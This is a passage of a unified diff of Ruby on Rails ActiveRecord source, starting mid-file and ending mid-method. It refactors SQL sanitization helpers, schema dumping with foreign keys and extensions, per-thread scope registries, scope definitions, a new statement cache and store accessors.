def initialize_copy(other)
- @columns = columns.dup
- @rows = rows.dup
- @hash_rows = nil
+ @columns = columns.dup
+ @rows = rows.dup
+ @column_types = column_types.dup
+ @hash_rows = nil
end
private
+
+ def column_type(name, type_overrides = {})
+ type_overrides.fetch(name) do
+ column_types.fetch(name, IDENTITY_TYPE)
+ end
+ end
+
def hash_rows
@hash_rows ||=
begin
@@ -59,7 +109,21 @@ module ActiveRecord
# used as keys in ActiveRecord::Base's @attributes hash
columns = @columns.map { |c| c.dup.freeze }
@rows.map { |row|
- Hash[columns.zip(row)]
+ # In the past we used Hash[columns.zip(row)]
+ # though elegant, the verbose way is much more efficient
+ # both time and memory wise cause it avoids a big array allocation
+ # this method is called a lot and needs to be micro optimised
+ hash = {}
+
+ index = 0
+ length = columns.length
+
+ while index < length
+ hash[columns[index]] = row[index]
+ index += 1
+ end
+
+ hash
}
end
end
diff --git a/activerecord/lib/active_record/runtime_registry.rb b/activerecord/lib/active_record/runtime_registry.rb
new file mode 100644
index 0000000000..9d605b826a
--- /dev/null
+++ b/activerecord/lib/active_record/runtime_registry.rb
@@ -0,0 +1,22 @@
+require 'active_support/per_thread_registry'
+
+module ActiveRecord
+ # This is a thread locals registry for Active Record. For example:
+ #
+ # ActiveRecord::RuntimeRegistry.connection_handler
+ #
+ # returns the connection handler local to the current thread.
+ #
+ # See the documentation of <tt>ActiveSupport::PerThreadRegistry</tt>
+ # for further details.
+ class RuntimeRegistry # :nodoc:
+ extend ActiveSupport::PerThreadRegistry
+
+ attr_accessor :connection_handler, :sql_runtime, :connection_id
+
+ [:connection_handler, :sql_runtime, :connection_id].each do |val|
+ class_eval %{ def self.#{val}; instance.#{val}; end }, __FILE__, __LINE__
+ class_eval %{ def self.#{val}=(x); instance.#{val}=x; end }, __FILE__, __LINE__
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb
index 2dad1dc177..6c103e331f 100644
--- a/activerecord/lib/active_record/sanitization.rb
+++ b/activerecord/lib/active_record/sanitization.rb
@@ -3,8 +3,8 @@ module ActiveRecord
extend ActiveSupport::Concern
module ClassMethods
- def quote_value(value, column = nil) #:nodoc:
- connection.quote(value,column)
+ def quote_value(value, column) #:nodoc:
+ connection.quote(value, column)
end
# Used to sanitize objects before they're used in an SQL SELECT statement. Delegates to <tt>connection.quote</tt>.
@@ -29,14 +29,15 @@ module ActiveRecord
end
end
alias_method :sanitize_sql, :sanitize_sql_for_conditions
+ alias_method :sanitize_conditions, :sanitize_sql
# Accepts an array, hash, or string of SQL conditions and sanitizes
# them into a valid SQL fragment for a SET clause.
# { name: nil, group_id: 4 } returns "name = NULL , group_id='4'"
- def sanitize_sql_for_assignment(assignments)
+ def sanitize_sql_for_assignment(assignments, default_table_name = self.table_name)
case assignments
when Array; sanitize_sql_array(assignments)
- when Hash; sanitize_sql_hash_for_assignment(assignments)
+ when Hash; sanitize_sql_hash_for_assignment(assignments, default_table_name)
else assignments
end
end
@@ -86,11 +87,16 @@ module ActiveRecord
# { address: Address.new("123 abc st.", "chicago") }
# # => "address_street='123 abc st.' and address_city='chicago'"
def sanitize_sql_hash_for_conditions(attrs, default_table_name = self.table_name)
+ table = Arel::Table.new(table_name).alias(default_table_name)
+ predicate_builder = PredicateBuilder.new(self, table)
+ ActiveSupport::Deprecation.warn(<<-EOWARN)
+sanitize_sql_hash_for_conditions is deprecated, and will be removed in Rails 5.0
+ EOWARN
+ attrs = predicate_builder.resolve_column_aliases(attrs)
attrs = expand_hash_conditions_for_aggregates(attrs)
- table = Arel::Table.new(table_name, arel_engine).alias(default_table_name)
- PredicateBuilder.build_from_hash(self.class, attrs, table).map { |b|
- connection.visitor.accept b
+ predicate_builder.build_from_hash(attrs).map { |b|
+ connection.visitor.compile b
}.join(' AND ')
end
alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions
@@ -98,12 +104,20 @@ module ActiveRecord
# Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.
# { status: nil, group_id: 1 }
# # => "status = NULL , group_id = 1"
- def sanitize_sql_hash_for_assignment(attrs)
+ def sanitize_sql_hash_for_assignment(attrs, table)
+ c = connection
attrs.map do |attr, value|
- "#{connection.quote_column_name(attr)} = #{quote_bound_value(value)}"
+ "#{c.quote_table_name_for_assignment(table, attr)} = #{quote_bound_value(value, c, columns_hash[attr.to_s])}"
end.join(', ')
end
+ # Sanitizes a +string+ so that it is safe to use within an SQL
+ # LIKE statement. This method uses +escape_character+ to escape all occurrences of "\", "_" and "%"
+ def sanitize_sql_like(string, escape_character = "\\")
+ pattern = Regexp.union(escape_character, "%", "_")
+ string.gsub(pattern) { |x| [escape_character, x].join }
+ end
+
# Accepts an array of conditions. The array has each value
# sanitized and interpolated into the SQL statement.
# ["name='%s' and group_id='%s'", "foo'bar", 4] returns "name='foo''bar' and group_id='4'"
@@ -120,13 +134,21 @@ module ActiveRecord
end
end
- alias_method :sanitize_conditions, :sanitize_sql
-
def replace_bind_variables(statement, values) #:nodoc:
raise_if_bind_arity_mismatch(statement, statement.count('?'), values.size)
bound = values.dup
c = connection
- statement.gsub('?') { quote_bound_value(bound.shift, c) }
+ statement.gsub(/\?/) do
+ replace_bind_variable(bound.shift, c)
+ end
+ end
+
+ def replace_bind_variable(value, c = connection) #:nodoc:
+ if ActiveRecord::Relation === value
+ value.to_sql
+ else
+ quote_bound_value(value, c)
+ end
end
def replace_named_bind_variables(statement, bind_vars) #:nodoc:
@@ -134,15 +156,17 @@ module ActiveRecord
if $1 == ':' # skip postgresql casts
$& # return the whole match
elsif bind_vars.include?(match = $2.to_sym)
- quote_bound_value(bind_vars[match])
+ replace_bind_variable(bind_vars[match])
else
raise PreparedStatementInvalid, "missing value for :#{match} in #{statement}"
end
end
end
- def quote_bound_value(value, c = connection) #:nodoc:
- if value.respond_to?(:map) && !value.acts_like?(:string)
+ def quote_bound_value(value, c = connection, column = nil) #:nodoc:
+ if column
+ c.quote(value, column)
+ elsif value.respond_to?(:map) && !value.acts_like?(:string)
if value.respond_to?(:empty?) && value.empty?
c.quote(nil)
else
diff --git a/activerecord/lib/active_record/schema.rb b/activerecord/lib/active_record/schema.rb
index 3259dbbd80..0a5546a760 100644
--- a/activerecord/lib/active_record/schema.rb
+++ b/activerecord/lib/active_record/schema.rb
@@ -1,4 +1,3 @@
-
module ActiveRecord
# = Active Record Schema
#
@@ -43,7 +42,7 @@ module ActiveRecord
unless info[:version].blank?
initialize_schema_migrations_table
- assume_migrated_upto_version(info[:version], migrations_paths)
+ connection.assume_migrated_upto_version(info[:version], migrations_paths)
end
end
diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb
index 36bde44e7c..77aa2efc47 100644
--- a/activerecord/lib/active_record/schema_dumper.rb
+++ b/activerecord/lib/active_record/schema_dumper.rb
@@ -17,13 +17,24 @@ module ActiveRecord
cattr_accessor :ignore_tables
@@ignore_tables = []
- def self.dump(connection=ActiveRecord::Base.connection, stream=STDOUT)
- new(connection).dump(stream)
- stream
+ class << self
+ def dump(connection=ActiveRecord::Base.connection, stream=STDOUT, config = ActiveRecord::Base)
+ new(connection, generate_options(config)).dump(stream)
+ stream
+ end
+
+ private
+ def generate_options(config)
+ {
+ table_name_prefix: config.table_name_prefix,
+ table_name_suffix: config.table_name_suffix
+ }
+ end
end
def dump(stream)
header(stream)
+ extensions(stream)
tables(stream)
trailer(stream)
stream
@@ -31,10 +42,10 @@ module ActiveRecord
private
- def initialize(connection)
+ def initialize(connection, options = {})
@connection = connection
- @types = @connection.native_database_types
@version = Migrator::current_version rescue nil
+ @options = options
end
def header(stream)
@@ -66,17 +77,30 @@ HEADER
stream.puts "end"
end
+ def extensions(stream)
+ return unless @connection.supports_extensions?
+ extensions = @connection.extensions
+ if extensions.any?
+ stream.puts " # These are extensions that must be enabled in order to support this database"
+ extensions.each do |extension|
+ stream.puts " enable_extension #{extension.inspect}"
+ end
+ stream.puts
+ end
+ end
+
def tables(stream)
- @connection.tables.sort.each do |tbl|
- next if ['schema_migrations', ignore_tables].flatten.any? do |ignored|
- case ignored
- when String; remove_prefix_and_suffix(tbl) == ignored
- when Regexp; remove_prefix_and_suffix(tbl) =~ ignored
- else
- raise StandardError, 'ActiveRecord::SchemaDumper.ignore_tables accepts an array of String and / or Regexp values.'
- end
+ sorted_tables = @connection.tables.sort
+
+ sorted_tables.each do |table_name|
+ table(table_name, stream) unless ignored?(table_name)
+ end
+
+ # dump foreign keys at the end to make sure all dependent tables exist.
+ if @connection.supports_foreign_keys?
+ sorted_tables.each do |tbl|
+ foreign_keys(tbl, stream) unless ignored?(tbl)
end
- table(tbl, stream)
end
end
@@ -86,16 +110,18 @@ HEADER
tbl = StringIO.new
# first dump primary key column
- if @connection.respond_to?(:pk_and_sequence_for)
- pk, _ = @connection.pk_and_sequence_for(table)
- elsif @connection.respond_to?(:primary_key)
- pk = @connection.primary_key(table)
- end
+ pk = @connection.primary_key(table)
tbl.print " create_table #{remove_prefix_and_suffix(table).inspect}"
- if columns.detect { |c| c.name == pk }
+ pkcol = columns.detect { |c| c.name == pk }
+ if pkcol
if pk != 'id'
tbl.print %Q(, primary_key: "#{pk}")
+ elsif pkcol.sql_type == 'bigint'
+ tbl.print ", id: :bigserial"
+ elsif pkcol.sql_type == 'uuid'
+ tbl.print ", id: :uuid"
+ tbl.print %Q(, default: "#{pkcol.default_function}") if pkcol.default_function
end
else
tbl.print ", id: false"
@@ -105,9 +131,9 @@ HEADER
# then dump all non-primary key columns
column_specs = columns.map do |column|
- raise StandardError, "Unknown type '#{column.sql_type}' for column '#{column.name}'" if @types[column.type].nil?
+ raise StandardError, "Unknown type '#{column.sql_type}' for column '#{column.name}'" unless @connection.valid_type?(column.type)
next if column.name == pk
- @connection.column_spec(column, @types)
+ @connection.column_spec(column)
end.compact
# find all migration keys used in this table
@@ -158,21 +184,22 @@ HEADER
if (indexes = @connection.indexes(table)).any?
add_index_statements = indexes.map do |index|
statement_parts = [
- ('add_index ' + remove_prefix_and_suffix(index.table).inspect),
+ "add_index #{remove_prefix_and_suffix(index.table).inspect}",
index.columns.inspect,
- ('name: ' + index.name.inspect),
+ "name: #{index.name.inspect}",
]
statement_parts << 'unique: true' if index.unique
index_lengths = (index.lengths || []).compact
- statement_parts << ('length: ' + Hash[index.columns.zip(index.lengths)].inspect) unless index_lengths.empty?
-
- index_orders = (index.orders || {})
- statement_parts << ('order: ' + index.orders.inspect) unless index_orders.empty?
+ statement_parts << "length: #{Hash[index.columns.zip(index.lengths)].inspect}" if index_lengths.any?
- statement_parts << ('where: ' + index.where.inspect) if index.where
+ index_orders = index.orders || {}
+ statement_parts << "order: #{index.orders.inspect}" if index_orders.any?
+ statement_parts << "where: #{index.where.inspect}" if index.where
+ statement_parts << "using: #{index.using.inspect}" if index.using
+ statement_parts << "type: #{index.type.inspect}" if index.type
- ' ' + statement_parts.join(', ')
+ " #{statement_parts.join(', ')}"
end
stream.puts add_index_statements.sort.join("\n")
@@ -180,8 +207,44 @@ HEADER
end
end
+ def foreign_keys(table, stream)
+ if (foreign_keys = @connection.foreign_keys(table)).any?
+ add_foreign_key_statements = foreign_keys.map do |foreign_key|
+ parts = [
+ "add_foreign_key #{remove_prefix_and_suffix(foreign_key.from_table).inspect}",
+ remove_prefix_and_suffix(foreign_key.to_table).inspect,
+ ]
+
+ if foreign_key.column != @connection.foreign_key_column_for(foreign_key.to_table)
+ parts << "column: #{foreign_key.column.inspect}"
+ end
+
+ if foreign_key.custom_primary_key?
+ parts << "primary_key: #{foreign_key.primary_key.inspect}"
+ end
+
+ if foreign_key.name !~ /^fk_rails_[0-9a-f]{10}$/
+ parts << "name: #{foreign_key.name.inspect}"
+ end
+
+ parts << "on_update: #{foreign_key.on_update.inspect}" if foreign_key.on_update
+ parts << "on_delete: #{foreign_key.on_delete.inspect}" if foreign_key.on_delete
+
+ " #{parts.join(', ')}"
+ end
+
+ stream.puts add_foreign_key_statements.sort.join("\n")
+ end
+ end
+
def remove_prefix_and_suffix(table)
- table.gsub(/^(#{ActiveRecord::Base.table_name_prefix})(.+)(#{ActiveRecord::Base.table_name_suffix})$/, "\\2")
+ table.gsub(/^(#{@options[:table_name_prefix]})(.+)(#{@options[:table_name_suffix]})$/, "\\2")
+ end
+
+ def ignored?(table_name)
+ ['schema_migrations', ignore_tables].flatten.any? do |ignored|
+ ignored === remove_prefix_and_suffix(table_name)
+ end
end
end
end
diff --git a/activerecord/lib/active_record/schema_migration.rb b/activerecord/lib/active_record/schema_migration.rb
index 9830abe7d8..b5038104ac 100644
--- a/activerecord/lib/active_record/schema_migration.rb
+++ b/activerecord/lib/active_record/schema_migration.rb
@@ -4,28 +4,48 @@ require 'active_record/base'
module ActiveRecord
class SchemaMigration < ActiveRecord::Base
+ class << self
+ def primary_key
+ nil
+ end
- def self.table_name
- "#{Base.table_name_prefix}schema_migrations#{Base.table_name_suffix}"
- end
+ def table_name
+ "#{table_name_prefix}#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}"
+ end
- def self.index_name
- "#{Base.table_name_prefix}unique_schema_migrations#{Base.table_name_suffix}"
- end
+ def index_name
+ "#{table_name_prefix}unique_#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}"
+ end
+
+ def table_exists?
+ connection.table_exists?(table_name)
+ end
- def self.create_table
- unless connection.table_exists?(table_name)
- connection.create_table(table_name, :id => false) do |t|
- t.column :version, :string, :null => false
+ def create_table(limit=nil)
+ unless table_exists?
+ version_options = {null: false}
+ version_options[:limit] = limit if limit
+
+ connection.create_table(table_name, id: false) do |t|
+ t.column :version, :string, version_options
+ end
+ connection.add_index table_name, :version, unique: true, name: index_name
end
- connection.add_index table_name, :version, :unique => true, :name => index_name
end
- end
- def self.drop_table
- if connection.table_exists?(table_name)
- connection.remove_index table_name, :name => index_name
- connection.drop_table(table_name)
+ def drop_table
+ if table_exists?
+ connection.remove_index table_name, name: index_name
+ connection.drop_table(table_name)
+ end
+ end
+
+ def normalize_migration_number(number)
+ "%.3d" % number.to_i
+ end
+
+ def normalized_versions
+ pluck(:version).map { |v| normalize_migration_number v }
end
end
diff --git a/activerecord/lib/active_record/scoping.rb b/activerecord/lib/active_record/scoping.rb
index 0c3fd1bd29..3e43591672 100644
--- a/activerecord/lib/active_record/scoping.rb
+++ b/activerecord/lib/active_record/scoping.rb
@@ -1,3 +1,4 @@
+require 'active_support/per_thread_registry'
module ActiveRecord
module Scoping
@@ -10,11 +11,11 @@ module ActiveRecord
module ClassMethods
def current_scope #:nodoc:
- Thread.current["#{self}_current_scope"]
+ ScopeRegistry.value_for(:current_scope, base_class.to_s)
end
def current_scope=(scope) #:nodoc:
- Thread.current["#{self}_current_scope"] = scope
+ ScopeRegistry.set_value_for(:current_scope, base_class.to_s, scope)
end
end
@@ -26,5 +27,61 @@ module ActiveRecord
end
end
+ def initialize_internals_callback
+ super
+ populate_with_current_scope_attributes
+ end
+
+ # This class stores the +:current_scope+ and +:ignore_default_scope+ values
+ # for different classes. The registry is stored as a thread local, which is
+ # accessed through +ScopeRegistry.current+.
+ #
+ # This class allows you to store and get the scope values on different
+ # classes and different types of scopes. For example, if you are attempting
+ # to get the current_scope for the +Board+ model, then you would use the
+ # following code:
+ #
+ # registry = ActiveRecord::Scoping::ScopeRegistry
+ # registry.set_value_for(:current_scope, "Board", some_new_scope)
+ #
+ # Now when you run:
+ #
+ # registry.value_for(:current_scope, "Board")
+ #
+ # You will obtain whatever was defined in +some_new_scope+. The +value_for+
+ # and +set_value_for+ methods are delegated to the current +ScopeRegistry+
+ # object, so the above example code can also be called as:
+ #
+ # ActiveRecord::Scoping::ScopeRegistry.set_value_for(:current_scope,
+ # "Board", some_new_scope)
+ class ScopeRegistry # :nodoc:
+ extend ActiveSupport::PerThreadRegistry
+
+ VALID_SCOPE_TYPES = [:current_scope, :ignore_default_scope]
+
+ def initialize
+ @registry = Hash.new { |hash, key| hash[key] = {} }
+ end
+
+ # Obtains the value for a given +scope_name+ and +variable_name+.
+ def value_for(scope_type, variable_name)
+ raise_invalid_scope_type!(scope_type)
+ @registry[scope_type][variable_name]
+ end
+
+ # Sets the +value+ for a given +scope_type+ and +variable_name+.
+ def set_value_for(scope_type, variable_name, value)
+ raise_invalid_scope_type!(scope_type)
+ @registry[scope_type][variable_name] = value
+ end
+
+ private
+
+ def raise_invalid_scope_type!(scope_type)
+ if !VALID_SCOPE_TYPES.include?(scope_type)
+ raise ArgumentError, "Invalid scope type '#{scope_type}' sent to the registry. Scope types must be included in VALID_SCOPE_TYPES"
+ end
+ end
+ end
end
end
diff --git a/activerecord/lib/active_record/scoping/default.rb b/activerecord/lib/active_record/scoping/default.rb
index 6835d0e01b..18190cb535 100644
--- a/activerecord/lib/active_record/scoping/default.rb
+++ b/activerecord/lib/active_record/scoping/default.rb
@@ -1,4 +1,3 @@
-
module ActiveRecord
module Scoping
module Default
@@ -6,12 +5,13 @@ module ActiveRecord
included do
# Stores the default scope for the class.
- class_attribute :default_scopes, instance_writer: false
+ class_attribute :default_scopes, instance_writer: false, instance_predicate: false
+
self.default_scopes = []
end
module ClassMethods
- # Returns a scope for the model without the +default_scope+.
+ # Returns a scope for the model without the previously set scopes.
#
# class Post < ActiveRecord::Base
# def self.default_scope
@@ -19,23 +19,16 @@ module ActiveRecord
# end
# end
#
- # Post.all # Fires "SELECT * FROM posts WHERE published = true"
- # Post.unscoped.all # Fires "SELECT * FROM posts"
+ # Post.all # Fires "SELECT * FROM posts WHERE published = true"
+ # Post.unscoped.all # Fires "SELECT * FROM posts"
+ # Post.where(published: false).unscoped.all # Fires "SELECT * FROM posts"
#
# This method also accepts a block. All queries inside the block will
- # not use the +default_scope+:
+ # not use the previously set scopes.
#
# Post.unscoped {
# Post.limit(10) # Fires "SELECT * FROM posts LIMIT 10"
# }
- #
- # It is recommended that you use the block form of unscoped because
- # chaining unscoped with +scope+ does not work. Assuming that
- # +published+ is a +scope+, the following two statements
- # are equal: the +default_scope+ is applied on both.
- #
- # Post.unscoped.published
- # Post.published
def unscoped
block_given? ? relation.scoping { yield } : relation
end
@@ -91,40 +84,35 @@ module ActiveRecord
scope = Proc.new if block_given?
if scope.is_a?(Relation) || !scope.respond_to?(:call)
- ActiveSupport::Deprecation.warn(
- "Calling #default_scope without a block is deprecated. For example instead " \
+ raise ArgumentError,
+ "Support for calling #default_scope without a block is removed. For example instead " \
"of `default_scope where(color: 'red')`, please use " \
"`default_scope { where(color: 'red') }`. (Alternatively you can just redefine " \
"self.default_scope.)"
- )
end
- self.default_scopes = default_scopes + [scope]
+ self.default_scopes += [scope]
end
- def build_default_scope # :nodoc:
+ def build_default_scope(base_rel = relation) # :nodoc:
if !Base.is_a?(method(:default_scope).owner)
# The user has defined their own default scope method, so call that
evaluate_default_scope { default_scope }
elsif default_scopes.any?
evaluate_default_scope do
- default_scopes.inject(relation) do |default_scope, scope|
- if !scope.is_a?(Relation) && scope.respond_to?(:call)
- default_scope.merge(unscoped { scope.call })
- else
- default_scope.merge(scope)
- end
+ default_scopes.inject(base_rel) do |default_scope, scope|
+ default_scope.merge(base_rel.scoping { scope.call })
end
end
end
end
def ignore_default_scope? # :nodoc:
- Thread.current["#{self}_ignore_default_scope"]
+ ScopeRegistry.value_for(:ignore_default_scope, self)
end
def ignore_default_scope=(ignore) # :nodoc:
- Thread.current["#{self}_ignore_default_scope"] = ignore
+ ScopeRegistry.set_value_for(:ignore_default_scope, self, ignore)
end
# The ignore_default_scope flag is used to prevent an infinite recursion
@@ -140,7 +128,6 @@ module ActiveRecord
self.ignore_default_scope = false
end
end
-
end
end
end
diff --git a/activerecord/lib/active_record/scoping/named.rb b/activerecord/lib/active_record/scoping/named.rb
index 8b7eda6eee..35420e6551 100644
--- a/activerecord/lib/active_record/scoping/named.rb
+++ b/activerecord/lib/active_record/scoping/named.rb
@@ -25,22 +25,18 @@ module ActiveRecord
if current_scope
current_scope.clone
else
- scope = relation
- scope.default_scoped = true
- scope
+ default_scoped
end
end
+ def default_scoped # :nodoc:
+ relation.merge(build_default_scope)
+ end
+
# Collects attributes from scopes that should be applied when creating
# an AR instance for the particular class this is called on.
def scope_attributes # :nodoc:
- if current_scope
- current_scope.scope_for_create
- else
- scope = relation
- scope.default_scoped = true
- scope.scope_for_create
- end
+ all.scope_for_create
end
# Are there default attributes associated with this scope?
@@ -134,37 +130,32 @@ module ActiveRecord
# end
#
# def self.titles
- # map(&:title)
+ # pluck(:title)
# end
- #
# end
#
# We are able to call the methods like this:
#
# Article.published.featured.latest_article
# Article.featured.titles
-
def scope(name, body, &block)
- extension = Module.new(&block) if block
+ unless body.respond_to?(:call)
+ raise ArgumentError, 'The scope body needs to be callable.'
+ end
- # Check body.is_a?(Relation) to prevent the relation actually being
- # loaded by respond_to?
- if body.is_a?(Relation) || !body.respond_to?(:call)
- ActiveSupport::Deprecation.warn(
- "Using #scope without passing a callable object is deprecated. For " \
- "example `scope :red, where(color: 'red')` should be changed to " \
- "`scope :red, -> { where(color: 'red') }`. There are numerous gotchas " \
- "in the former usage and it makes the implementation more complicated " \
- "and buggy. (If you prefer, you can just define a class method named " \
- "`self.red`.)"
- )
+ if dangerous_class_method?(name)
+ raise ArgumentError, "You tried to define a scope named \"#{name}\" " \
+ "on the model \"#{self.name}\", but Active Record already defined " \
+ "a class method with the same name."
end
+ extension = Module.new(&block) if block
+
singleton_class.send(:define_method, name) do |*args|
- options = body.respond_to?(:call) ? unscoped { body.call(*args) } : body
- relation = all.merge(options)
+ scope = all.scoping { body.call(*args) }
+ scope = scope.extending(extension) if extension
- extension ? relation.extending(extension) : relation
+ scope || all
end
end
end
diff --git a/activerecord/lib/active_record/serialization.rb b/activerecord/lib/active_record/serialization.rb
index 6b55af4205..48c12dcf9f 100644
--- a/activerecord/lib/active_record/serialization.rb
+++ b/activerecord/lib/active_record/serialization.rb
@@ -5,13 +5,13 @@ module ActiveRecord #:nodoc:
include ActiveModel::Serializers::JSON
included do
- self.include_root_in_json = true
+ self.include_root_in_json = false
end
def serializable_hash(options = nil)
options = options.try(:clone) || {}
- options[:except] = Array(options[:except]).map { |n| n.to_s }
+ options[:except] = Array(options[:except]).map(&:to_s)
options[:except] |= Array(self.class.inheritance_column)
super(options)
diff --git a/activerecord/lib/active_record/serializers/xml_serializer.rb b/activerecord/lib/active_record/serializers/xml_serializer.rb
index 1a766093d0..c2484d02ed 100644
--- a/activerecord/lib/active_record/serializers/xml_serializer.rb
+++ b/activerecord/lib/active_record/serializers/xml_serializer.rb
@@ -180,13 +180,9 @@ module ActiveRecord #:nodoc:
class Attribute < ActiveModel::Serializers::Xml::Serializer::Attribute #:nodoc:
def compute_type
klass = @serializable.class
- type = if klass.serialized_attributes.key?(name)
- super
- elsif klass.columns_hash.key?(name)
- klass.columns_hash[name].type
- else
- NilClass
- end
+ column = klass.columns_hash[name] || Type::Value.new
+
+ type = ActiveSupport::XmlMini::TYPE_NAMES[value.class.name] || column.type
{ :text => :string,
:time => :datetime }[type] || type
diff --git a/activerecord/lib/active_record/statement_cache.rb b/activerecord/lib/active_record/statement_cache.rb
new file mode 100644
index 0000000000..192a19f05d
--- /dev/null
+++ b/activerecord/lib/active_record/statement_cache.rb
@@ -0,0 +1,111 @@
+module ActiveRecord
+
+ # Statement cache is used to cache a single statement in order to avoid creating the AST again.
+ # Initializing the cache is done by passing the statement in the create block:
+ #
+ # cache = StatementCache.create(Book.connection) do |params|
+ # Book.where(name: "my book").where("author_id > 3")
+ # end
+ #
+ # The cached statement is executed by using the +execute+ method:
+ #
+ # cache.execute([], Book, Book.connection)
+ #
+ # The relation returned by the block is cached, and for each +execute+ call the cached relation gets duped.
+ # Database is queried when +to_a+ is called on the relation.
+ #
+ # If you want to cache the statement without the values you can use the +bind+ method of the
+ # block parameter.
+ #
+ # cache = StatementCache.create(Book.connection) do |params|
+ # Book.where(name: params.bind)
+ # end
+ #
+ # And pass the bind values as the first argument of +execute+ call.
+ #
+ # cache.execute(["my book"], Book, Book.connection)
+ class StatementCache # :nodoc:
+ class Substitute; end # :nodoc:
+
+ class Query # :nodoc:
+ def initialize(sql)
+ @sql = sql
+ end
+
+ def sql_for(binds, connection)
+ @sql
+ end
+ end
+
+ class PartialQuery < Query # :nodoc:
+ def initialize values
+ @values = values
+ @indexes = values.each_with_index.find_all { |thing,i|
+ Arel::Nodes::BindParam === thing
+ }.map(&:last)
+ end
+
+ def sql_for(binds, connection)
+ val = @values.dup
+ binds = binds.dup
+ @indexes.each { |i| val[i] = connection.quote(*binds.shift.reverse) }
+ val.join
+ end
+ end
+
+ def self.query(visitor, ast)
+ Query.new visitor.accept(ast, Arel::Collectors::SQLString.new).value
+ end
+
+ def self.partial_query(visitor, ast, collector)
+ collected = visitor.accept(ast, collector).value
+ PartialQuery.new collected
+ end
+
+ class Params # :nodoc:
+ def bind; Substitute.new; end
+ end
+
+ class BindMap # :nodoc:
+ def initialize(bind_values)
+ @indexes = []
+ @bind_values = bind_values
+
+ bind_values.each_with_index do |(_, value), i|
+ if Substitute === value
+ @indexes << i
+ end
+ end
+ end
+
+ def bind(values)
+ bvs = @bind_values.map(&:dup)
+ @indexes.each_with_index { |offset,i| bvs[offset][1] = values[i] }
+ bvs
+ end
+ end
+
+ attr_reader :bind_map, :query_builder
+
+ def self.create(connection, block = Proc.new)
+ relation = block.call Params.new
+ bind_map = BindMap.new relation.bind_values
+ query_builder = connection.cacheable_query relation.arel
+ new query_builder, bind_map
+ end
+
+ def initialize(query_builder, bind_map)
+ @query_builder = query_builder
+ @bind_map = bind_map
+ end
+
+ def execute(params, klass, connection)
+ bind_values = bind_map.bind params
+
+ sql = query_builder.sql_for bind_values, connection
+
+ klass.find_by_sql sql, bind_values
+ end
+ alias :call :execute
+ end
+end
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
index df7f58c81f..3c291f28e3 100644
--- a/activerecord/lib/active_record/store.rb
+++ b/activerecord/lib/active_record/store.rb
@@ -15,6 +15,11 @@ module ActiveRecord
# You can set custom coder to encode/decode your serialized attributes to/from different formats.
# JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides +load+ and +dump+.
#
+ # NOTE - If you are using PostgreSQL specific columns like +hstore+ or +json+ there is no need for
+ # the serialization provided by +store+. Simply use +store_accessor+ instead to generate
+ # the accessor methods. Be aware that these columns use a string keyed hash and do not allow access
+ # using a symbol.
+ #
# Examples:
#
# class User < ActiveRecord::Base
@@ -42,29 +47,28 @@ module ActiveRecord
#
# All stored values are automatically available through accessors on the Active Record
# object, but sometimes you want to specialize this behavior. This can be done by overwriting
- # the default accessors (using the same name as the attribute) and calling
- # <tt>read_store_attribute(store_attribute_name, attr_name)</tt> and
- # <tt>write_store_attribute(store_attribute_name, attr_name, value)</tt> to actually
- # change things.
+ # the default accessors (using the same name as the attribute) and calling <tt>super</tt>
+ # to actually change things.
#
# class Song < ActiveRecord::Base
# # Uses a stored integer to hold the volume adjustment of the song
# store :settings, accessors: [:volume_adjustment]
#
# def volume_adjustment=(decibels)
- # write_store_attribute(:settings, :volume_adjustment, decibels.to_i)
+ # super(decibels.to_i)
# end
#
# def volume_adjustment
- # read_store_attribute(:settings, :volume_adjustment).to_i
+ # super.to_i
# end
# end
module Store
extend ActiveSupport::Concern
included do
- class_attribute :stored_attributes, instance_accessor: false
- self.stored_attributes = {}
+ class << self
+ attr_accessor :local_stored_attributes
+ end
end
module ClassMethods
@@ -75,43 +79,97 @@ module ActiveRecord
def store_accessor(store_attribute, *keys)
keys = keys.flatten
- keys.each do |key|
- define_method("#{key}=") do |value|
- write_store_attribute(store_attribute, key, value)
- end
- define_method(key) do
- read_store_attribute(store_attribute, key)
+ _store_accessors_module.module_eval do
+ keys.each do |key|
+ define_method("#{key}=") do |value|
+ write_store_attribute(store_attribute, key, value)
+ end
+
+ define_method(key) do
+ read_store_attribute(store_attribute, key)
+ end
end
end
- self.stored_attributes[store_attribute] ||= []
- self.stored_attributes[store_attribute] |= keys
+ # assign new store attribute and create new hash to ensure that each class in the hierarchy
+ # has its own hash of stored attributes.
+ self.local_stored_attributes ||= {}
+ self.local_stored_attributes[store_attribute] ||= []
+ self.local_stored_attributes[store_attribute] |= keys
+ end
+
+ def _store_accessors_module # :nodoc:
+ @_store_accessors_module ||= begin
+ mod = Module.new
+ include mod
+ mod
+ end
+ end
+
+ def stored_attributes
+ parent = superclass.respond_to?(:stored_attributes) ? superclass.stored_attributes : {}
+ if self.local_stored_attributes
+ parent.merge!(self.local_stored_attributes) { |k, a, b| a | b }
+ end
+ parent
end
end
protected
def read_store_attribute(store_attribute, key)
- attribute = initialize_store_attribute(store_attribute)
- attribute[key]
+ accessor = store_accessor_for(store_attribute)
+ accessor.read(self, store_attribute, key)
end
def write_store_attribute(store_attribute, key, value)
- attribute = initialize_store_attribute(store_attribute)
- if value != attribute[key]
- send :"#{store_attribute}_will_change!"
- attribute[key] = value
- end
+ accessor = store_accessor_for(store_attribute)
+ accessor.write(self, store_attribute, key, value)
end
private
- def initialize_store_attribute(store_attribute)
- attribute = send(store_attribute)
- unless attribute.is_a?(HashWithIndifferentAccess)
- attribute = IndifferentCoder.as_indifferent_hash(attribute)
- send :"#{store_attribute}=", attribute
+ def store_accessor_for(store_attribute)
+ type_for_attribute(store_attribute.to_s).accessor
+ end
+
+ class HashAccessor # :nodoc:
+ def self.read(object, attribute, key)
+ prepare(object, attribute)
+ object.public_send(attribute)[key]
+ end
+
+ def self.write(object, attribute, key, value)
+ prepare(object, attribute)
+ if value != read(object, attribute, key)
+ object.public_send :"#{attribute}_will_change!"
+ object.public_send(attribute)[key] = value
+ end
+ end
+
